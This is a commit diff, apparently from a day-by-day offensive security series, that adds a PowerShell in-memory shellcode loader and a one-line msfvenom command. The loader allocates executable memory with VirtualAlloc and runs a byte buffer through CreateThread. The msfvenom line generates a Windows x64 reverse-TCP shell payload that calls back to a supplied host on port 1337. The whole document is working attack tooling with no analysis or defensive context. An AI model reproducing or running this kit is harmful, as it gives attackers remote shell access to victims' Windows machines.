Add files for Day 8: Shellcodes of the world, unite!

8/shell.ps1

@@ -0,0 +1,19 @@
+$Shell = ""
+Add-Type @"
+public class Win
+{
+    [DllImport("kernel32")]
+    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+
+    [DllImport("kernel32.dll", SetLastError=true)]
+    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+    [DllImport("kernel32", CharSet=CharSet.Ansi)]
+    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+}
+"@
+[Byte[]] $buf = $Shell
+[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
+[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
+$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
+[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

8/venom.sh

@@ -0,0 +1 @@
+msfvenom -p windows/x64/shell_reverse_tcp LHOST="$1" LPORT=1337 -f powershell